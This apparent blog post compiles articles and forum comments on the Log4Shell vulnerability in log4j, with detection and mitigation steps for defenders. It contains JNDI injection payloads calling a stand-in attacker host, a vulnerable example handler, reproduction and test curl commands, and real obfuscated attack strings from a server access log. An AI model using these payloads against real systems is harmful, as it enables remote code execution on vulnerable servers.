FIRST, THE ARTICLE EXPLAINING THE EXPLOIT, THEN HOW TO FIX.
I was alerted today of a log4j exploit that targets LDAP servers. Below are a few articles on the exploit, then we will get into the practice of exploiting log4j.

source: https://securityboulevard.com/2021/12/critical-new-0-day-vulnerability-in-popular-log4j-library-discovered-with-evidence-of-mass-scanning-for-affected-applications/

by Ilkka Turunen on December 10, 2021

News broke early Friday morning of a serious 0-day Remote Code Execution exploit in log4j – CVE-2021-44228– the most popular java logging framework used by Java software far and wide. This type of vulnerability is especially dangerous as it can be used to run any code via your software and requires very low skills to pull off from an attacker. Log4j is near ubiquitous in Java applications, so immediate action is needed from software maintainers to patch. 

This affects anyone using log4j to perform logging, and anyone using software that uses log4 which is a large population of enterprise Java software currently available.

A similar vulnerability was used in the famous Equifax hack with devastating results. What makes this issue potentially more dangerous is the wide adoption of log4j in most of the Java ecosystem.

What is the Log4j Exploit? How big is the scope?

Early Friday morning GMT a vulnerability Proof of Concept was published in a github repository and made public. 

It affects Apache log4j between versions 2.0 and 2.14.1 and according to some sources, only on JDK versions below 6u211, 7u201, 8u191 and 11.0.1 . Coordinated with this release, Apache published a fix to the issue.

This is a low skilled attack that is extremely simple to execute. It allows the attacker to run Arbitrary Code on any application that is vulnerable and use this capability to execute an attack. Compared to the famous 2017 Struts2 CVE that led to the Equifax vulnerability this issue is potentially more far reaching, as log4j is a far more widely adopted component.

This vulnerability affects any application that uses log4j for logging – which includes software such as Minecraft, where we’ve already seen evidence of the vulnerability being exploitable using the built-in chat functionality.  It’s (Read more…)

*** This is a Security Bloggers Network syndicated blog from Sonatype Blog authored by Ilkka Turunen. Read the original post at: https://blog.sonatype.com/a-new-0-day-log4j-vulnerability-discovered-in-the-wildFEATURED,

Let’s take a look at a different article, explaining some fixes or workarounds.

Source : https://www.lunasec.io/docs/blog/log4j-zero-day/

Log4Shell: RCE 0-day exploit found in log4j2, a popular Java logging package

December 9, 2021 · 7 min readFree WortleyCEO at LunaSecChris ThompsonDeveloper at Lunasec

Log4Shell Logo

Updated @ December 10th, 10am PST

A few hours ago, a 0-day exploit in the popular Java logging library log4j2 was discovered that results in Remote Code Execution (RCE) by logging a certain string.

Given how ubiquitous this library is, the impact of the exploit (full server control), and how easy it is to exploit, the impact of this vulnerability is quite severe. We’re calling it “Log4Shell” for short.

The 0-day was tweeted along with a POC posted on GitHub. Since this vulnerability is still very new, there isn’t a CVE to track it yet. This has been published as CVE-2021-44228.

This post provides resources to help you understand the vulnerability and how to mitigate it for yourself.

Who is impacted?​

Many, many services are vulnerable to this exploit. Cloud services like Steam, Apple iCloud, and apps like Minecraft have already been found to be vulnerable.

Anybody using Apache Struts is likely vulnerable. We’ve seen similar vulnerabilities exploited before in breaches like the 2017 Equifax data breach.

Many Open Source projects like the Minecraft server, Paper, have already begun patching their usage of log4j2.

Simply changing an iPhone’s name has been shown to trigger the vulnerability in Apple’s servers.

Updates (3 hours after posting): According to this blog post (see translation), JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector. In these versions com.sun.jndi.ldap.object.trustURLCodebase is set to false meaning JNDI cannot load remote code using LDAP.

However, there are other attack vectors targeting this vulnerability which can result in RCE. An attacker could still leverage existing code on the server to execute a payload. An attack targeting the class org.apache.naming.factory.BeanFactory, present on Apache Tomcat servers, is discussed in this blog post.

Affected Apache log4j2 Versions​

2.0 <= Apache log4j <= 2.14.1

Permanent Mitigation​

Version 2.15.0 of log4j has been released without the vulnerability. log4j-core.jar is available on Maven Central here, with [release notes] and [log4j security announcements].

Releases to GitHub appear to still be pending.

Temporary Mitigation​

As per this discussion on HackerNews:

The ‘formatMsgNoLookups’ property was added in version 2.10.0, per the JIRA Issue LOG4J2-2109 [1] that proposed it. Therefore the ‘formatMsgNoLookups=true’ mitigation strategy is available in version 2.10.0 and higher, but is no longer necessary with version 2.15.0, because it then becomes the default behavior [2][3].

If you are using a version older than 2.10.0 and cannot upgrade, your mitigation choices are:

  • Modify every logging pattern layout to say %m{nolookups} instead of %m in your logging config files, see details at https://issues.apache.org/jira/browse/LOG4J2-2109 or,
  • Substitute a non-vulnerable or empty implementation of the class org.apache.logging.log4j.core.lookup.JndiLookup, in a way that your classloader uses your replacement instead of the vulnerable version of the class. Refer to your application’s or stack’s classloading documentation to understand this behavior.

How the exploit works​

Exploit Requirements​

  • A server with a vulnerable log4j version (listed above),
  • an endpoint with any protocol (HTTP, TCP, etc) that allows an attacker to send the exploit string,
  • and a log statement that logs out the string from that request.

Example Vulnerable Code​

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.io.*;
import java.sql.SQLException;
import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {

  static Logger log = LogManager.getLogger(log4jExample.class.getName());

  /**
   * A simple HTTP endpoint that reads the request's User Agent and logs it back.
   * This is basically pseudo-code to explain the vulnerability, and not a full example.
   * @param he HTTP Request Object
   */
  public void handle(HttpExchange he) throws IOException {
    string userAgent = he.getRequestHeader("user-agent");
    
    // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
    // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:{}", userAgent);

    String response = "<h1>Hello There, " + userAgent + "!</h1>";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}

Copy

Reproducing Locally​

If you want to reproduce this vulnerability locally, you can refer to christophetd’s vulnerable app.

In a terminal run:

docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

Copy

and in another:

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://127.0.0.1/a}'

Copy

the logs should include an error message indicating that a remote lookup was attempted but failed:

2021-12-10 17:14:56,207 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://127.0.0.1/a]. javax.naming.CommunicationException: 127.0.0.1:389 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]

Copy

Exploit Steps​

  1. Data from the User gets sent to the server (via any protocol),
  2. The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server),
  3. The log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via “Java Naming and Directory Interface” (JNDI),
  4. This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process,
  5. This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.

Due to how common Java vulnerabilities such as these are, security researchers have created tools to easily exploit them. The marshalsec project is one of many that demonstrates generating an exploit payload that could be used for this vulnerability. You can refer to this malicious LDAP server for an example of exploitation.

How to identify if your server is vulnerable.​

Using a DNS logger (such as dnslog.cn), you can generate a domain name and use this in your test payloads:

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://xxx.dnslog.cn/a}'

Copy

Refreshing the page will show DNS queries which identify hosts who have triggered the vulnerability.

CAUTION

While dnslog.cn has become popular for testing log4shell, we advise caution. When testing sensitive infrastructure, information sent to this site could be used by its owner to catalogue and later exploit it.

If you wish to test more discretely, you may setup your own authoritative DNS server for testing.

More information​

You can follow us on Twitter where we’ll continue to update you as information about the impact of this exploit becomes available.

For now, we’re just publishing this to help raise awareness and get people patching it. Please tell any of your friends running Java software!

Limit your vulnerability to future attacks​

LunaSec is an Open Source Data Security framework that isolates and protects sensitive data in web applications. It limits vulnerability to attacks like Log4Shell and can help protect against future 0-days, before they happen.

Editing this post​

If you have any updates or edits you’d like to make, you can edit this post as Markdown on GitHub. And please throw us a Star ⭐!

Edits​

  1. Updated the “Who is impacted?” section to include mitigating factor based on JDK version, but also suggest other exploitation methods are still prevalent.
  2. Named the vulnerability “LogJam”, added CVE, and added link to release tags.
  3. Update mitigation steps with newer information.
  4. Removed the name “LogJam” because it’s already been used. Using “Log4Shell” instead.
  5. Update that 2.15.0 is released.
  6. Added the MS Paint logo[4], and updated example code to be slightly more clear (it’s not string concatenation).
  7. Reported on iPhones being affected by the vulnerability, and included local reproduction code + steps.
  8. Update social info.
  9. Updated example code to use Log4j2 syntax.

References​

[1] https://issues.apache.org/jira/browse/LOG4J2-2109

[2] https://github.com/apache/logging-log4j2/pull/607/files

[3] https://issues.apache.org/jira/browse/LOG4J2-3198

[4] Kudos to @GossiTheDog for the MS Paint logo!

Also kudos to @80vul for tweeting about this.

How to Mitigate the log4j Vulnerability December 2021

https://news.ycombinator.com/item?id=29507263

Pulled from hackernews:

LOG4J2-2109 15 hours ago | parent | context | favorite | on: Log4j RCE Found
The ‘formatMsgNoLookups’ property was added in version 2.10.0, per the JIRA Issue LOG4J2-2109 [1] that proposed it. Therefore the ‘formatMsgNoLookups=true’ mitigation strategy is available in version 2.10.0 and higher, but is no longer necessary with version 2.15.0, because it then becomes the default behavior [2][3].If you are using a version older than 2.10.0 and cannot upgrade, your mitigation choices are:- Modify every logging pattern layout to say %m{nolookups} instead of %m in your logging config files, see details at https://issues.apache.org/jira/browse/LOG4J2-2109or- Substitute a non-vulnerable or empty implementation of the class org.apache.logging.log4j.core.lookup.JndiLookup, in a way that your classloader uses your replacement instead of the vulnerable version of the class. Refer to your application’s or stack’s classloading documentation to understand this behavior.[1] https://issues.apache.org/jira/browse/LOG4J2-2109 [2] https://github.com/apache/logging-log4j2/pull/607/files [3] https://issues.apache.org/jira/browse/LOG4J2-3198

freeqaz 13 hours ago | next [–]
Thanks for writing up this fix. I quoted it in the post here:https://www.lunasec.io/docs/blog/log4j-zero-day/#temporary-m…reply
skimania 4 hours ago | prev [–]
The solution of using {nolookups} on every logging pattern is only available from version 2.7 and above.https://stackoverflow.com/a/42802636/270317reply
LOG4J2-2109 4 hours ago | parent [–]
Confirming that this is correct: the {nolookups} option was added in v2.7 as a result of LOG4J2-905, so this mitigation is not available on versions prior to 2.7. Corroborating sources:[4] https://issues.apache.org/jira/browse/LOG4J2-905[5] https://logging.apache.org/log4j/2.x/changes-report.html#a2….Checking on the viability of the classloading-based mitigations now across the versions. It seems that LOG4J-1051 was raised [6] to make the class instantiator more tolerant of missing classes, and the resulting changes were released in v2.4 and v2.7. Will check how earlier versions behave in this case.[6] https://issues.apache.org/jira/browse/LOG4J2-1051reply

THERE IS A WORKAROUND!

If you are running a linux environment, use sed to do a search and replace, to replace every instance of %m to %m{nolookups} with

sed -i ‘s/\%m/\%m{nolookups}/g’ *

In the log4j XML files. This effectively prevents the second string, which leads to RCE , from being loaded.

HOW TO SET ENVIRONMENT VARIABLE TO NO_LOOKUPS


Login as root.

Then run:
echo >> /etc/systemd/system.conf

This puts a new line into the system configuration.


then
echo “DefaultEnvironment=LOG4J_FORMAT_MSG_NO_LOOKUPS=true” >> /etc/systemd/system.conf

This puts the system variable in place.

Finally,

systemctl daemon-reload

This makes the changes active. Restart any other affected apache modules, and voila. Risk mitigated.

UPDATE 12/15:

SEE https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046

UPDATE 2/15/2022

USE CASE: WHAT DOES A LOG4J EXPLOIT LOOK LIKE?

Here’s what a log4j exploit looks like, from httpd access log:

98.0.242.10 – – [15/Feb/2022:12:54:45 -0500] “GET /cas/login?service=&v=%24%7Bj%24%7Bk8s%3Ak5%3A-ND%7Di%3Aldap%3A%2F%2F185.8.172.132%3A1389%2F1hjhcly%7D HTTP/1.1” 404 22516 “https://${j${k8s:k5:-ND}i:ldap:
//185.8.172.132:1389/1hjhcly}” “${j${k8s:k5:-ND}i:ldap://185.8.172.132:1389/1hjhcly}”


98.0.242.10 – – [15/Feb/2022:12:54:46 -0500] “POST /cas/login?service=&v=%24%7Bj%24%7Bk8s%3Ak5%3A-ND%7Di%3Aldap%3A%2F%2F185.8.172.132%3A1389%2F1hjhcly%7D HTTP/1.1” 404 22516 “https://${j${k8s:k5:-ND}i:ldap
://185.8.172.132:1389/1hjhcly}” “${j${k8s:k5:-ND}i:ldap://185.8.172.132:1389/1hjhcly}”

This is a real log entry from this server, someone thought i would post about log4j and not mitigate for it.